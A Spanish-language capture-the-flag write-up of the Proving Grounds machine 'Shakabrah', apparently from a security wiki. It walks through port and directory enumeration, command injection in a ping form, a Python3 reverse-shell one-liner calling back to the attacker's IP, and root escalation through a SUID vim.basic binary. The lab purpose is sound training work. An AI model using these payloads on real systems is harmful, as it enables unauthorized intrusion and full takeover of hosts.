# Shakabrah

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FbdBKltUR0qHOZQFrrwwL%2Fimage.png?alt=media&#x26;token=11447eba-3c32-4b2d-991f-ac032e60c7e4" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.207.86
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FkMKfjiaohOuzPxLdBBxy%2Fimage.png?alt=media&#x26;token=f785d44b-0607-4820-9f23-721efe23c345" alt=""><figcaption></figcaption></figure>

La máquina tiene abiertos los puertos 22 y 80. El siguiente paso será el escaneo en profundidad de los servicios abiertos.&#x20;

```
nmap -p22,80 -sVC 192.168.207.86 -oN targeted
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgEa1QuywAyeYtWnaWASu%2Fimage.png?alt=media&#x26;token=3cca715a-1cbe-4b60-8299-a9cc23ea13cf" alt=""><figcaption></figcaption></figure>

Existen 2 puertos abiertos en el equipo target.&#x20;

* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29

#### Enumeración Web

Comenzamos viendo el contenido del sitio Web.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FvELKIoLD2D1z1LSdTE0P%2Fimage.png?alt=media&#x26;token=62bc772c-8a73-4a8c-9fdd-98e38c0511af" alt=""><figcaption></figcaption></figure>

Encontramos un formulario donde podemos especificar una IP para probar la conexión de esta máquina con el host de la IP.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FoCW7K11DsV5kXd67SE0V%2Fimage.png?alt=media&#x26;token=d5e73e3a-35c4-4246-91bb-eeb3b02ccc98" alt=""><figcaption><p>Ping a localhost</p></figcaption></figure>

Otra cosa que vamos a hacer es enumerar directorios con la herramienta dirsearch.

```
dirsearch -u "http://192.168.207.86/" -i200,301
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FqFpv3xLG4euYdfdTpdEK%2Fimage.png?alt=media&#x26;token=145a74ff-8e19-469c-a896-9e6721571854" alt=""><figcaption></figcaption></figure>

No hay ningún directorio interesante.

### Explotación

Desde aquí vamos a intentar ejecutar un RCE, para ello vamos a ver que podemos hacer con el formulario.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQDB0MLMFdE17gTRyfqjN%2Fimage.png?alt=media&#x26;token=4422d4f6-71d9-4881-a1f4-e325172960fd" alt=""><figcaption></figcaption></figure>

Podemos inyectar comandos y el resultado es devuelto en pantalla. Debemos encadenar comandos para poder ejecutar comandos.

Sabiendo esto, vamos a intentar un RCE simplemente ejecutando un shell inverso. Probamos diversas shells pero solo las generadas con Python3 funcionan.

Geeneramos una shell Python utilizando esta [página Web](https://www.revshells.com/).&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FSZS943yuDXqZ3wrurxgb%2Fimage.png?alt=media&#x26;token=6ad102c4-11e5-4151-a4ef-ef7486ab0735" alt=""><figcaption></figcaption></figure>

```
export RHOST="192.168.49.207";export RPORT=80;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
```

Inyectamos esta shell y al mismo tiempo ponemos nc a la escucha en el puerto 80. Importante, solo funciona para el puerto 80.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fl47JxLDH8EZcZEalPAuu%2Fimage.png?alt=media&#x26;token=42696755-6b82-42ae-baca-2d7e3891e731" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FI4jcpPp9LHzw6sDfWb1a%2Fimage.png?alt=media&#x26;token=149a6c57-eb0e-4cf3-b6a0-f059e1a232ef" alt=""><figcaption></figcaption></figure>

Tenemos conexión remota con la máquina objetivo. Aprovechamos también para convertir la shell generada en interactiva.&#x20;

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

El próximo obtejivo es encontrat la flag.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZWulSio9ItegKeg6XhGS%2Fimage.png?alt=media&#x26;token=c97f75f5-0fd7-425b-a0f8-ebc2aa24efb9" alt=""><figcaption></figcaption></figure>

Ya tenemos la flag local.txt. Seguimos con la elevación de privilegios.&#x20;

### Elevación de privilegios

Comenzaremos enumerando si podemos ejecutar sudo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FeHhbEmuVsYAysELKojdZ%2Fimage.png?alt=media&#x26;token=5d85d8ee-368c-45e8-9d15-ecf06db2e7cb" alt=""><figcaption></figcaption></figure>

Necesitamos password.

Seguimos enumerando los binarios SUID.

```
find / -perm -4000 2> /dev/null
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FagqiAA7RBKKhzPoxnEho%2Fimage.png?alt=media&#x26;token=7d5bc10d-df44-4296-bd28-d025d620a1e3" alt=""><figcaption></figcaption></figure>

El binario SUID vim.basic puede ser útil para la elevación de privilegios. Para comprobar como vulnerar este binario vamos a este [sitio Web](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/broken-reference).&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F4PpBYcXDl3Q9W1COKkKe%2Fimage.png?alt=media&#x26;token=7e063bb0-8479-481a-be8e-ab2946cc8fb4" alt=""><figcaption></figcaption></figure>

Importante, debemos revisar para que versión de Python tiene soporte la versión de Vim instalada. Para comprobar la versión de Python ejecutamos lo siguiente:&#x20;

```
/usr/bin/vim.basic --version
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FXloKHoGOP8vZAEPQEYtE%2Fimage.png?alt=media&#x26;token=82bc65c5-1921-4fc4-91fc-13a53a4149b1" alt=""><figcaption></figcaption></figure>

Vim ejecuta Python3&#x20;

```
/usr/bin/vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "/bin/bash")'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVAFkzpVU8QwUn5uT8Z8I%2Fimage.png?alt=media&#x26;token=e92a9bc4-fc19-4f50-8401-884d5509beaa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FrsAsx3OzXo4ZUKuIUJU4%2Fimage.png?alt=media&#x26;token=5754aab1-6992-430f-b9b2-a4cd78347b23" alt=""><figcaption></figcaption></figure>

Y pulsamos intro hasta que nos solicite el tipo de terminal. Entonces escribimos el tipo de terminal "xterm" y volvemos a pulsar intro.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fpp8PiELS64W22zxD9DTv%2Fimage.png?alt=media&#x26;token=d51896ae-dc25-42ae-b789-4d6a60ce70eb" alt=""><figcaption></figcaption></figure>

Ya tendremos privilegios máximos. El siguiente paso será buscar la flag proof.txt.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FkPGIcdjG7J9EvdXog78B%2Fimage.png?alt=media&#x26;token=16fe7835-1b28-4116-809c-93182355590a" alt=""><figcaption></figcaption></figure>

Ya estaría finalizado el CTF Shakabrah de Proving Grounds.

{% embed url="<https://www.youtube.com/watch?v=2-TaSwdv0S8>" %}
